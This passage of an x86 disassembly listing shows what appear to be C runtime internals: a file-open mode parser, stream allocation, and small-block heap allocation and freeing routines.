loc_4188BE: ; CODE XREF: sub_418880+30j
or esi, 2
loc_4188C1: ; CODE XREF: sub_418880+37j
push 1
pop edx
loc_4188C4: ; CODE XREF: sub_418880+8Bj
; sub_418880+A0j ...
mov al, [edi+1]
inc edi
cmp al, bl
jz loc_4189B3
cmp edx, ebx
jz loc_4189B3
movsx eax, al
cmp eax, 54h
jg short loc_418952
jz short loc_418942
sub eax, 2Bh
jz short loc_41892C
sub eax, 19h
jz short loc_418922
sub eax, 0Eh
jz short loc_41890D
dec eax
jnz loc_4189A4
cmp [ebp+var_4], ebx
jnz loc_4189A4
mov [ebp+var_4], 1
or ecx, 20h
jmp short loc_4188C4
; ---------------------------------------------------------------------------
loc_41890D: ; CODE XREF: sub_418880+6Fj
cmp [ebp+var_4], ebx
jnz loc_4189A4
mov [ebp+var_4], 1
or ecx, 10h
jmp short loc_4188C4
; ---------------------------------------------------------------------------
loc_418922: ; CODE XREF: sub_418880+6Aj
test cl, 40h
jnz short loc_4189A4
or ecx, 40h
jmp short loc_4188C4
; ---------------------------------------------------------------------------
loc_41892C: ; CODE XREF: sub_418880+65j
test cl, 2
jnz short loc_4189A4
and ecx, 0FFFFFFFEh
and esi, 0FFFFFFFCh
or ecx, 2
or esi, 80h
jmp short loc_4188C4
; ---------------------------------------------------------------------------
loc_418942: ; CODE XREF: sub_418880+60j
mov eax, 1000h
test ecx, eax
jnz short loc_4189A4
or ecx, eax
jmp loc_4188C4
; ---------------------------------------------------------------------------
loc_418952: ; CODE XREF: sub_418880+5Ej
sub eax, 62h
jz short loc_41899F
dec eax
jz short loc_418988
sub eax, 0Bh
jz short loc_418971
sub eax, 6
jnz short loc_4189A4
test ch, 0C0h
jnz short loc_4189A4
or ch, 40h
jmp loc_4188C4
; ---------------------------------------------------------------------------
loc_418971: ; CODE XREF: sub_418880+DDj
cmp [ebp+var_8], ebx
jnz short loc_4189A4
mov [ebp+var_8], 1
and esi, 0FFFFBFFFh
jmp loc_4188C4
; ---------------------------------------------------------------------------
loc_418988: ; CODE XREF: sub_418880+D8j
cmp [ebp+var_8], ebx
jnz short loc_4189A4
mov [ebp+var_8], 1
or esi, 4000h
jmp loc_4188C4
; ---------------------------------------------------------------------------
loc_41899F: ; CODE XREF: sub_418880+D5j
test ch, 0C0h
jz short loc_4189AB
loc_4189A4: ; CODE XREF: sub_418880+72j
; sub_418880+7Bj ...
xor edx, edx
jmp loc_4188C4
; ---------------------------------------------------------------------------
loc_4189AB: ; CODE XREF: sub_418880+122j
or ch, 80h
jmp loc_4188C4
; ---------------------------------------------------------------------------
loc_4189B3: ; CODE XREF: sub_418880+4Aj
; sub_418880+52j
push 1A4h
push [ebp+arg_8]
push ecx
push [ebp+arg_0]
call sub_41D55A
mov ecx, eax
add esp, 10h
cmp ecx, ebx
jge short loc_4189D1
loc_4189CD: ; CODE XREF: sub_418880+25j
xor eax, eax
jmp short loc_4189EB
; ---------------------------------------------------------------------------
loc_4189D1: ; CODE XREF: sub_418880+14Bj
mov eax, [ebp+arg_C]
inc dword_469674
mov [eax+0Ch], esi
mov [eax+4], ebx
mov [eax], ebx
mov [eax+8], ebx
mov [eax+1Ch], ebx
mov [eax+10h], ecx
loc_4189EB: ; CODE XREF: sub_418880+14Fj
pop edi
pop esi
pop ebx
leave
retn
sub_418880 endp
; =============== S U B R O U T I N E =======================================
sub_4189F0 proc near ; CODE XREF: sub_415BC8p
mov edx, dword_46A7C0
push ebx
push ebp
push esi
xor ebp, ebp
xor esi, esi
xor eax, eax
cmp edx, ebp
push edi
jle short loc_418A61
mov ebx, dword_4697A0
mov edi, ebx
loc_418A0C: ; CODE XREF: sub_4189F0+2Ej
mov ecx, [edi]
cmp ecx, ebp
jz short loc_418A27
test byte ptr [ecx+0Ch], 83h
jz short loc_418A22
inc eax
add edi, 4
cmp eax, edx
jl short loc_418A0C
jmp short loc_418A61
; ---------------------------------------------------------------------------
loc_418A22: ; CODE XREF: sub_4189F0+26j
mov esi, [ebx+eax*4]
jmp short loc_418A4B
; ---------------------------------------------------------------------------
loc_418A27: ; CODE XREF: sub_4189F0+20j
mov edi, eax
push 20h
shl edi, 2
call sub_415DC9
pop ecx
mov ecx, dword_4697A0
mov [edi+ecx], eax
mov eax, dword_4697A0
mov edi, [edi+eax]
cmp edi, ebp
jz short loc_418A61
mov esi, edi
loc_418A4B: ; CODE XREF: sub_4189F0+35j
cmp esi, ebp
jz short loc_418A61
or dword ptr [esi+10h], 0FFFFFFFFh
mov [esi+4], ebp
mov [esi+0Ch], ebp
mov [esi+8], ebp
mov [esi], ebp
mov [esi+1Ch], ebp
loc_418A61: ; CODE XREF: sub_4189F0+12j
; sub_4189F0+30j ...
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
retn
sub_4189F0 endp
; =============== S U B R O U T I N E =======================================
sub_418A68 proc near ; CODE XREF: sub_415DDB+1Fp
; sub_4174DF+106p ...
arg_0 = dword ptr 4
mov eax, dword_469518
test eax, eax
jz short loc_418A80
push [esp+arg_0]
call eax
test eax, eax
pop ecx
jz short loc_418A80
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_418A80: ; CODE XREF: sub_418A68+7j
; sub_418A68+12j
xor eax, eax
retn
sub_418A68 endp
; =============== S U B R O U T I N E =======================================
sub_418A83 proc near ; CODE XREF: .nsp0:00417B52p
arg_0 = dword ptr 4
xor eax, eax
push 0
cmp [esp+4+arg_0], eax
push 1000h
setz al
push eax
call dword_421174
test eax, eax
mov dword_46AB20, eax
jz short loc_418AB8
call sub_418ABF
test eax, eax
jnz short loc_418ABB
push dword_46AB20
call dword_421170
loc_418AB8: ; CODE XREF: sub_418A83+1Ej
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_418ABB: ; CODE XREF: sub_418A83+27j
push 1
pop eax
retn
sub_418A83 endp
; =============== S U B R O U T I N E =======================================
sub_418ABF proc near ; CODE XREF: sub_418A83+20p
push 140h
push 0
push dword_46AB20
call dword_42114C
test eax, eax
mov dword_46AB1C, eax
jnz short loc_418ADC
retn
; ---------------------------------------------------------------------------
loc_418ADC: ; CODE XREF: sub_418ABF+1Aj
and dword_46AB14, 0
and dword_46AB18, 0
push 1
mov dword_46AB10, eax
mov dword_46AB08, 10h
pop eax
retn
sub_418ABF endp
; =============== S U B R O U T I N E =======================================
sub_418AFD proc near ; CODE XREF: sub_415E3D+Ap
; sub_4174DF+3Dp ...
arg_0 = dword ptr 4
mov eax, dword_46AB18
lea ecx, [eax+eax*4]
mov eax, dword_46AB1C
lea ecx, [eax+ecx*4]
loc_418B0D: ; CODE XREF: sub_418AFD+26j
cmp eax, ecx
jnb short loc_418B25
mov edx, [esp+arg_0]
sub edx, [eax+0Ch]
cmp edx, 100000h
jb short locret_418B27
add eax, 14h
jmp short loc_418B0D
; ---------------------------------------------------------------------------
loc_418B25: ; CODE XREF: sub_418AFD+12j
xor eax, eax
locret_418B27: ; CODE XREF: sub_418AFD+21j
retn
sub_418AFD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418B28 proc near ; CODE XREF: sub_415E3D+16p
; sub_4174DF+89p ...
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 14h
mov edx, [ebp+arg_4]
mov ecx, [ebp+arg_0]
push ebx
push esi
mov eax, [ecx+10h]
mov esi, edx
sub esi, [ecx+0Ch]
mov ebx, [edx-4]
add edx, 0FFFFFFFCh
push edi
shr esi, 0Fh
mov ecx, esi
mov edi, [edx-4]
imul ecx, 204h
dec ebx
mov [ebp+var_4], edi
lea ecx, [ecx+eax+144h]
mov [ebp+var_C], ebx
mov [ebp+var_10], ecx
mov ecx, [ebx+edx]
test cl, 1
mov [ebp+var_8], ecx
jnz short loc_418BEE
sar ecx, 4
push 3Fh
dec ecx
pop edi
mov [ebp+arg_4], ecx
cmp ecx, edi
jbe short loc_418B80
mov [ebp+arg_4], edi
loc_418B80: ; CODE XREF: sub_418B28+53j
mov ecx, [ebx+edx+4]
cmp ecx, [ebx+edx+8]
jnz short loc_418BD2
mov ecx, [ebp+arg_4]
cmp ecx, 20h
jnb short loc_418BAE
mov edi, 80000000h
shr edi, cl
lea ecx, [ecx+eax+4]
not edi
and [eax+esi*4+44h], edi
dec byte ptr [ecx]
jnz short loc_418BD2
mov ecx, [ebp+arg_0]
and [ecx], edi
jmp short loc_418BD2
; ---------------------------------------------------------------------------
loc_418BAE: ; CODE XREF: sub_418B28+68j
add ecx, 0FFFFFFE0h
mov edi, 80000000h
shr edi, cl
mov ecx, [ebp+arg_4]
lea ecx, [ecx+eax+4]
not edi
and [eax+esi*4+0C4h], edi
dec byte ptr [ecx]
jnz short loc_418BD2
mov ecx, [ebp+arg_0]
and [ecx+4], edi
loc_418BD2: ; CODE XREF: sub_418B28+60j
; sub_418B28+7Dj ...
mov ecx, [ebx+edx+8]
mov edi, [ebx+edx+4]
mov [ecx+4], edi
mov ecx, [ebx+edx+4]
mov edi, [ebx+edx+8]
add ebx, [ebp+var_8]
mov [ecx+8], edi
mov [ebp+var_C], ebx
loc_418BEE: ; CODE XREF: sub_418B28+45j
mov edi, ebx
sar edi, 4
dec edi
cmp edi, 3Fh
jbe short loc_418BFC
push 3Fh
pop edi
loc_418BFC: ; CODE XREF: sub_418B28+CFj
mov ecx, [ebp+var_4]
and ecx, 1
mov [ebp+var_14], ecx
jnz loc_418CAB
sub edx, [ebp+var_4]
mov ecx, [ebp+var_4]
sar ecx, 4
push 3Fh
mov [ebp+var_8], edx
dec ecx
pop edx
cmp ecx, edx
mov [ebp+arg_4], ecx
jbe short loc_418C27
mov [ebp+arg_4], edx
mov ecx, edx
loc_418C27: ; CODE XREF: sub_418B28+F8j
add ebx, [ebp+var_4]
mov edi, ebx
mov [ebp+var_C], ebx
sar edi, 4
dec edi
cmp edi, edx
jbe short loc_418C39
mov edi, edx
loc_418C39: ; CODE XREF: sub_418B28+10Dj
cmp ecx, edi
jz short loc_418CA8
mov ecx, [ebp+var_8]
mov edx, [ecx+4]
cmp edx, [ecx+8]
jnz short loc_418C90
mov ecx, [ebp+arg_4]
cmp ecx, 20h
jnb short loc_418C6C
mov edx, 80000000h
shr edx, cl
lea ecx, [ecx+eax+4]
not edx
and [eax+esi*4+44h], edx
dec byte ptr [ecx]
jnz short loc_418C90
mov ecx, [ebp+arg_0]
and [ecx], edx
jmp short loc_418C90
; ---------------------------------------------------------------------------
loc_418C6C: ; CODE XREF: sub_418B28+126j
add ecx, 0FFFFFFE0h
mov edx, 80000000h
shr edx, cl
mov ecx, [ebp+arg_4]
lea ecx, [ecx+eax+4]
not edx
and [eax+esi*4+0C4h], edx
dec byte ptr [ecx]
jnz short loc_418C90
mov ecx, [ebp+arg_0]
and [ecx+4], edx
loc_418C90: ; CODE XREF: sub_418B28+11Ej
; sub_418B28+13Bj ...
mov ecx, [ebp+var_8]
mov edx, [ecx+8]
mov ecx, [ecx+4]
mov [edx+4], ecx
mov ecx, [ebp+var_8]
mov edx, [ecx+4]
mov ecx, [ecx+8]
mov [edx+8], ecx
loc_418CA8: ; CODE XREF: sub_418B28+113j
mov edx, [ebp+var_8]
loc_418CAB: ; CODE XREF: sub_418B28+DDj
cmp [ebp+var_14], 0
jnz short loc_418CBA
cmp [ebp+arg_4], edi
jz loc_418D43
loc_418CBA: ; CODE XREF: sub_418B28+187j
mov ecx, [ebp+var_10]
lea ecx, [ecx+edi*8]
mov ecx, [ecx+4]
mov [edx+4], ecx
mov ecx, [ebp+var_10]
lea ecx, [ecx+edi*8]
mov [edx+8], ecx
mov [ecx+4], edx
mov ecx, [edx+4]
mov [ecx+8], edx
mov ecx, [edx+4]
cmp ecx, [edx+8]
jnz short loc_418D43
mov cl, [edi+eax+4]
cmp edi, 20h
mov byte ptr [ebp+arg_4+3], cl
inc cl
mov [edi+eax+4], cl
jnb short loc_418D17
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_418D06
mov ebx, 80000000h
mov ecx, edi
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx], ebx
loc_418D06: ; CODE XREF: sub_418B28+1CEj
mov ebx, 80000000h
mov ecx, edi
shr ebx, cl
lea eax, [eax+esi*4+44h]
or [eax], ebx
jmp short loc_418D40
; ---------------------------------------------------------------------------
loc_418D17: ; CODE XREF: sub_418B28+1C8j
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_418D2D
lea ecx, [edi-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx+4], ebx
loc_418D2D: ; CODE XREF: sub_418B28+1F3j
lea ecx, [edi-20h]
mov edi, 80000000h
shr edi, cl
lea eax, [eax+esi*4+0C4h]
or [eax], edi
loc_418D40: ; CODE XREF: sub_418B28+1EDj
mov ebx, [ebp+var_C]
loc_418D43: ; CODE XREF: sub_418B28+18Cj
; sub_418B28+1B6j
mov eax, [ebp+var_10]
mov [edx], ebx
mov [ebx+edx-4], ebx
dec dword ptr [eax]
jnz loc_418E4E
mov eax, dword_46AB14
test eax, eax
jz loc_418E40
mov ecx, dword_46AB0C
mov edi, dword_421178
shl ecx, 0Fh
add ecx, [eax+0Ch]
mov ebx, 8000h
push 4000h
push ebx
push ecx
call edi
mov ecx, dword_46AB0C
mov eax, dword_46AB14
mov edx, 80000000h
shr edx, cl
or [eax+8], edx
mov eax, dword_46AB14
mov ecx, dword_46AB0C
mov eax, [eax+10h]
and dword ptr [eax+ecx*4+0C4h], 0
mov eax, dword_46AB14
mov eax, [eax+10h]
dec byte ptr [eax+43h]
mov eax, dword_46AB14
mov ecx, [eax+10h]
cmp byte ptr [ecx+43h], 0
jnz short loc_418DCE
and dword ptr [eax+4], 0FFFFFFFEh
mov eax, dword_46AB14
loc_418DCE: ; CODE XREF: sub_418B28+29Bj
cmp dword ptr [eax+8], 0FFFFFFFFh
jnz short loc_418E40
push ebx
push 0
push dword ptr [eax+0Ch]
call edi
mov eax, dword_46AB14
push dword ptr [eax+10h]
push 0
push dword_46AB20
call dword_421150
mov eax, dword_46AB18
mov edx, dword_46AB1C
lea eax, [eax+eax*4]
shl eax, 2
mov ecx, eax
mov eax, dword_46AB14
sub ecx, eax
lea ecx, [ecx+edx-14h]
push ecx
lea ecx, [eax+14h]
push ecx
push eax
call sub_416490
mov eax, [ebp+arg_0]
add esp, 0Ch
dec dword_46AB18
cmp eax, dword_46AB14
jbe short loc_418E32
sub eax, 14h
loc_418E32: ; CODE XREF: sub_418B28+305j
mov ecx, dword_46AB1C
mov dword_46AB10, ecx
jmp short loc_418E43
; ---------------------------------------------------------------------------
loc_418E40: ; CODE XREF: sub_418B28+233j
; sub_418B28+2AAj
mov eax, [ebp+arg_0]
loc_418E43: ; CODE XREF: sub_418B28+316j
mov dword_46AB14, eax
mov dword_46AB0C, esi
loc_418E4E: ; CODE XREF: sub_418B28+226j
pop edi
pop esi
pop ebx
leave
retn
sub_418B28 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418E53 proc near ; CODE XREF: sub_415E07+Ep
; sub_4174DF+69p ...
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
mov eax, dword_46AB18
mov edx, dword_46AB1C
push ebx
push esi
lea eax, [eax+eax*4]
push edi
lea edi, [edx+eax*4]
mov eax, [ebp+arg_0]
mov [ebp+var_4], edi
lea ecx, [eax+17h]
and ecx, 0FFFFFFF0h
mov [ebp+var_10], ecx
sar ecx, 4
dec ecx
cmp ecx, 20h
jge short loc_418E93
or esi, 0FFFFFFFFh
shr esi, cl
or [ebp+var_8], 0FFFFFFFFh
mov [ebp+var_C], esi
jmp short loc_418EA3
; ---------------------------------------------------------------------------
loc_418E93: ; CODE XREF: sub_418E53+30j
add ecx, 0FFFFFFE0h
or eax, 0FFFFFFFFh
xor esi, esi
shr eax, cl
mov [ebp+var_C], esi
mov [ebp+var_8], eax
loc_418EA3: ; CODE XREF: sub_418E53+3Ej
mov eax, dword_46AB10
mov ebx, eax
cmp ebx, edi
mov [ebp+arg_0], ebx
jnb short loc_418ECA
loc_418EB1: ; CODE XREF: sub_418E53+75j
mov ecx, [ebx+4]
mov edi, [ebx]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_418ECA
add ebx, 14h
cmp ebx, [ebp+var_4]
mov [ebp+arg_0], ebx
jb short loc_418EB1
loc_418ECA: ; CODE XREF: sub_418E53+5Cj
; sub_418E53+6Aj
cmp ebx, [ebp+var_4]
jnz short loc_418F48
mov ebx, edx
loc_418ED1: ; CODE XREF: sub_418E53+96j
cmp ebx, eax
mov [ebp+arg_0], ebx
jnb short loc_418EED
mov ecx, [ebx+4]
mov edi, [ebx]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_418EEB
add ebx, 14h
jmp short loc_418ED1
; ---------------------------------------------------------------------------
loc_418EEB: ; CODE XREF: sub_418E53+91j
cmp ebx, eax
loc_418EED: ; CODE XREF: sub_418E53+83j
jnz short loc_418F48
loc_418EEF: ; CODE XREF: sub_418E53+ADj
cmp ebx, [ebp+var_4]
jnb short loc_418F05
cmp dword ptr [ebx+8], 0
jnz short loc_418F02
add ebx, 14h
mov [ebp+arg_0], ebx
jmp short loc_418EEF
; ---------------------------------------------------------------------------
loc_418F02: ; CODE XREF: sub_418E53+A5j
cmp ebx, [ebp+var_4]
loc_418F05: ; CODE XREF: sub_418E53+9Fj
jnz short loc_418F2D
mov ebx, edx
loc_418F09: ; CODE XREF: sub_418E53+C6j
cmp ebx, eax
mov [ebp+arg_0], ebx
jnb short loc_418F1D
cmp dword ptr [ebx+8], 0
jnz short loc_418F1B
add ebx, 14h
jmp short loc_418F09
; ---------------------------------------------------------------------------
loc_418F1B: ; CODE XREF: sub_418E53+C1j
cmp ebx, eax
loc_418F1D: ; CODE XREF: sub_418E53+BBj
jnz short loc_418F2D
call sub_41915C
mov ebx, eax
test ebx, ebx
mov [ebp+arg_0], ebx
jz short loc_418F41
loc_418F2D: ; CODE XREF: sub_418E53:loc_418F05j
; sub_418E53:loc_418F1Dj
push ebx
call sub_41920D
pop ecx
mov ecx, [ebx+10h]
mov [ecx], eax
mov eax, [ebx+10h]
cmp dword ptr [eax], 0FFFFFFFFh
jnz short loc_418F48
loc_418F41: ; CODE XREF: sub_418E53+D8j
xor eax, eax
jmp loc_419157
; ---------------------------------------------------------------------------
loc_418F48: ; CODE XREF: sub_418E53+7Aj
; sub_418E53:loc_418EEDj ...
mov dword_46AB10, ebx
mov eax, [ebx+10h]
mov edx, [eax]
cmp edx, 0FFFFFFFFh
mov [ebp+var_4], edx
jz short loc_418F6F
mov ecx, [eax+edx*4+0C4h]
mov edi, [eax+edx*4+44h]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_418FA6
loc_418F6F: ; CODE XREF: sub_418E53+106j
mov edx, [eax+0C4h]
mov esi, [eax+44h]
and edx, [ebp+var_8]
and esi, [ebp+var_C]
and [ebp+var_4], 0
lea ecx, [eax+44h]
or edx, esi
mov esi, [ebp+var_C]
jnz short loc_418FA3
loc_418F8C: ; CODE XREF: sub_418E53+14Ej
mov edx, [ecx+84h]
inc [ebp+var_4]
and edx, [ebp+var_8]
add ecx, 4
mov edi, esi
and edi, [ecx]
or edx, edi
jz short loc_418F8C
loc_418FA3: ; CODE XREF: sub_418E53+137j
mov edx, [ebp+var_4]
loc_418FA6: ; CODE XREF: sub_418E53+11Aj
mov ecx, edx
xor edi, edi
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_C], ecx
mov ecx, [eax+edx*4+44h]
and ecx, esi
jnz short loc_418FCF
mov ecx, [eax+edx*4+0C4h]
push 20h
and ecx, [ebp+var_8]
pop edi
loc_418FCF: ; CODE XREF: sub_418E53+16Dj
; sub_418E53+183j
test ecx, ecx
jl short loc_418FD8
shl ecx, 1
inc edi
jmp short loc_418FCF
; ---------------------------------------------------------------------------
loc_418FD8: ; CODE XREF: sub_418E53+17Ej
mov ecx, [ebp+var_C]
mov edx, [ecx+edi*8+4]
mov ecx, [edx]
sub ecx, [ebp+var_10]
mov esi, ecx
mov [ebp+var_8], ecx
sar esi, 4
dec esi
cmp esi, 3Fh
jle short loc_418FF5
push 3Fh
pop esi
loc_418FF5: ; CODE XREF: sub_418E53+19Dj
cmp esi, edi
jz loc_41910A
mov ecx, [edx+4]
cmp ecx, [edx+8]
jnz short loc_419066
cmp edi, 20h
jge short loc_419035
mov ebx, 80000000h
mov ecx, edi
shr ebx, cl
mov ecx, [ebp+var_4]
lea edi, [eax+edi+4]
not ebx
mov [ebp+var_14], ebx
and ebx, [eax+ecx*4+44h]
mov [eax+ecx*4+44h], ebx
dec byte ptr [edi]
jnz short loc_419063
mov ebx, [ebp+arg_0]
mov ecx, [ebp+var_14]
and [ebx], ecx
jmp short loc_419066
; ---------------------------------------------------------------------------
loc_419035: ; CODE XREF: sub_418E53+1B5j
lea ecx, [edi-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+var_4]
lea edi, [eax+edi+4]
lea ecx, [eax+ecx*4+0C4h]
not ebx
and [ecx], ebx
dec byte ptr [edi]
mov [ebp+var_14], ebx
jnz short loc_419063
mov ebx, [ebp+arg_0]
mov ecx, [ebp+var_14]
and [ebx+4], ecx
jmp short loc_419066
; ---------------------------------------------------------------------------
loc_419063: ; CODE XREF: sub_418E53+1D6j
; sub_418E53+203j
mov ebx, [ebp+arg_0]
loc_419066: ; CODE XREF: sub_418E53+1B0j
; sub_418E53+1E0j ...
mov ecx, [edx+8]
mov edi, [edx+4]
cmp [ebp+var_8], 0
mov [ecx+4], edi
mov ecx, [edx+4]
mov edi, [edx+8]
mov [ecx+8], edi
jz loc_419116
mov ecx, [ebp+var_C]
mov edi, [ecx+esi*8+4]
lea ecx, [ecx+esi*8]
mov [edx+4], edi
mov [edx+8], ecx
mov [ecx+4], edx
mov ecx, [edx+4]
mov [ecx+8], edx
mov ecx, [edx+4]
cmp ecx, [edx+8]
jnz short loc_419107
mov cl, [esi+eax+4]
cmp esi, 20h
mov byte ptr [ebp+arg_0+3], cl
jge short loc_4190D8
inc cl
cmp byte ptr [ebp+arg_0+3], 0
mov [esi+eax+4], cl
jnz short loc_4190C6
mov edi, 80000000h
mov ecx, esi
shr edi, cl
or [ebx], edi
loc_4190C6: ; CODE XREF: sub_418E53+266j
mov edi, 80000000h
mov ecx, esi
shr edi, cl
mov ecx, [ebp+var_4]
or [eax+ecx*4+44h], edi
jmp short loc_419107
; ---------------------------------------------------------------------------
loc_4190D8: ; CODE XREF: sub_418E53+25Aj
inc cl
cmp byte ptr [ebp+arg_0+3], 0
mov [esi+eax+4], cl
jnz short loc_4190F1
lea ecx, [esi-20h]
mov edi, 80000000h
shr edi, cl
or [ebx+4], edi
loc_4190F1: ; CODE XREF: sub_418E53+28Fj
mov ecx, [ebp+var_4]
lea edi, [eax+ecx*4+0C4h]
lea ecx, [esi-20h]
mov esi, 80000000h
shr esi, cl
or [edi], esi
loc_419107: ; CODE XREF: sub_418E53+24Ej
; sub_418E53+283j
mov ecx, [ebp+var_8]
loc_41910A: ; CODE XREF: sub_418E53+1A4j
test ecx, ecx
jz short loc_419119
mov [edx], ecx
mov [ecx+edx-4], ecx
jmp short loc_419119
; ---------------------------------------------------------------------------
loc_419116: ; CODE XREF: sub_418E53+229j
mov ecx, [ebp+var_8]
loc_419119: ; CODE XREF: sub_418E53+2B9j
; sub_418E53+2C1j
mov esi, [ebp+var_10]
add edx, ecx
lea ecx, [esi+1]
mov [edx], ecx
mov [edx+esi-4], ecx
mov esi, [ebp+var_C]
mov ecx, [esi]
test ecx, ecx
lea edi, [ecx+1]
mov [esi], edi
jnz short loc_41914F
cmp ebx, dword_46AB14
jnz short loc_41914F
mov ecx, [ebp+var_4]
cmp ecx, dword_46AB0C
jnz short loc_41914F
and dword_46AB14, 0
loc_41914F: ; CODE XREF: sub_418E53+2E0j
; sub_418E53+2E8j ...
mov ecx, [ebp+var_4]
mov [eax], ecx
lea eax, [edx+4]
loc_419157: ; CODE XREF: sub_418E53+F0j
pop edi
pop esi
pop ebx
leave
retn
sub_418E53 endp
; =============== S U B R O U T I N E =======================================
sub_41915C proc near ; CODE XREF: sub_418E53+CCp
mov eax, dword_46AB18
mov ecx, dword_46AB08
push esi
push edi
xor edi, edi
cmp eax, ecx
jnz short loc_41919F
lea eax, [ecx+ecx*4+50h]
shl eax, 2
push eax
push dword_46AB1C
push edi
push dword_46AB20
call dword_421160
cmp eax, edi
jz short loc_4191EF
add dword_46AB08, 10h
mov dword_46AB1C, eax
mov eax, dword_46AB18
loc_41919F: ; CODE XREF: sub_41915C+11j
mov ecx, dword_46AB1C
push 41C4h
push 8
lea eax, [eax+eax*4]
push dword_46AB20
lea esi, [ecx+eax*4]
call dword_42114C
cmp eax, edi
mov [esi+10h], eax
jz short loc_4191EF
push 4
push 2000h
push 100000h
push edi
call dword_42117C
cmp eax, edi
mov [esi+0Ch], eax
jnz short loc_4191F3
push dword ptr [esi+10h]
push edi
push dword_46AB20
call dword_421150
loc_4191EF: ; CODE XREF: sub_41915C+30j
; sub_41915C+67j
xor eax, eax
jmp short loc_41920A
; ---------------------------------------------------------------------------
loc_4191F3: ; CODE XREF: sub_41915C+81j
or dword ptr [esi+8], 0FFFFFFFFh
mov [esi], edi
mov [esi+4], edi
inc dword_46AB18
mov eax, [esi+10h]
or dword ptr [eax], 0FFFFFFFFh
mov eax, esi
loc_41920A: ; CODE XREF: sub_41915C+95j
pop edi
pop esi
retn
sub_41915C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41920D proc near ; CODE XREF: sub_418E53+DBp
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov ecx, [ebp+arg_0]
push ebx
push esi
push edi
mov esi, [ecx+10h]
mov eax, [ecx+8]
xor ebx, ebx
loc_41921F: ; CODE XREF: sub_41920D+19j
test eax, eax
jl short loc_419228
shl eax, 1
inc ebx
jmp short loc_41921F
; ---------------------------------------------------------------------------
loc_419228: ; CODE XREF: sub_41920D+14j
mov eax, ebx
push 3Fh
imul eax, 204h
pop edx
lea eax, [eax+esi+144h]
mov [ebp+var_4], eax
loc_41923D: ; CODE XREF: sub_41920D+3Aj
mov [eax+8], eax
mov [eax+4], eax
add eax, 8
dec edx
jnz short loc_41923D
mov edi, ebx
push 4
shl edi, 0Fh
add edi, [ecx+0Ch]
push 1000h
push 8000h
push edi
call dword_42117C
test eax, eax
jnz short loc_419270
or eax, 0FFFFFFFFh
jmp loc_419303
; ---------------------------------------------------------------------------
loc_419270: ; CODE XREF: sub_41920D+59j
lea edx, [edi+7000h]
cmp edi, edx
ja short loc_4192B6
lea eax, [edi+10h]
loc_41927D: ; CODE XREF: sub_41920D+A7j
or dword ptr [eax-8], 0FFFFFFFFh
or dword ptr [eax+0FECh], 0FFFFFFFFh
lea ecx, [eax+0FFCh]
mov dword ptr [eax-4], 0FF0h
mov [eax], ecx
lea ecx, [eax-1004h]
mov [eax+4], ecx
mov dword ptr [eax+0FE8h], 0FF0h
add eax, 1000h
lea ecx, [eax-10h]
cmp ecx, edx
jbe short loc_41927D
loc_4192B6: ; CODE XREF: sub_41920D+6Bj
mov eax, [ebp+var_4]
lea ecx, [edi+0Ch]
add eax, 1F8h
push 1
pop edi
mov [eax+4], ecx
mov [ecx+8], eax
lea ecx, [edx+0Ch]
mov [eax+8], ecx
mov [ecx+4], eax
and dword ptr [esi+ebx*4+44h], 0
mov [esi+ebx*4+0C4h], edi
mov al, [esi+43h]
mov cl, al
inc cl
test al, al
mov eax, [ebp+arg_0]
mov [esi+43h], cl
jnz short loc_4192F3
or [eax+4], edi
loc_4192F3: ; CODE XREF: sub_41920D+E1j
mov edx, 80000000h
mov ecx, ebx
shr edx, cl
not edx
and [eax+8], edx
mov eax, ebx
loc_419303: ; CODE XREF: sub_41920D+5Ej
pop edi
pop esi
pop ebx
leave
retn
sub_41920D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419308 proc near ; CODE XREF: sub_4174DF+58p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov ecx, [ebp+arg_0]
mov eax, [ebp+arg_8]
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
mov edx, edi
lea esi, [eax+17h]
sub edx, [ecx+0Ch]
mov eax, [ecx+10h]
and esi, 0FFFFFFF0h
shr edx, 0Fh
mov ecx, edx
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_C], ecx
mov ecx, [edi-4]
dec ecx
cmp esi, ecx
mov [ebp+arg_8], ecx
mov ebx, [ecx+edi-4]
lea edi, [ecx+edi-4]
mov [ebp+var_4], ebx
jle loc_4194B6
test bl, 1
jnz loc_4194AF
add ebx, ecx
cmp esi, ebx
jg loc_4194AF
mov ecx, [ebp+var_4]
sar ecx, 4
dec ecx
cmp ecx, 3Fh
mov [ebp+var_8], ecx
jbe short loc_41937F
push 3Fh
pop ecx
mov [ebp+var_8], ecx
loc_41937F: ; CODE XREF: sub_419308+6Fj
mov ebx, [edi+4]
cmp ebx, [edi+8]
jnz short loc_4193CF
cmp ecx, 20h
jnb short loc_4193AB
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+var_8]
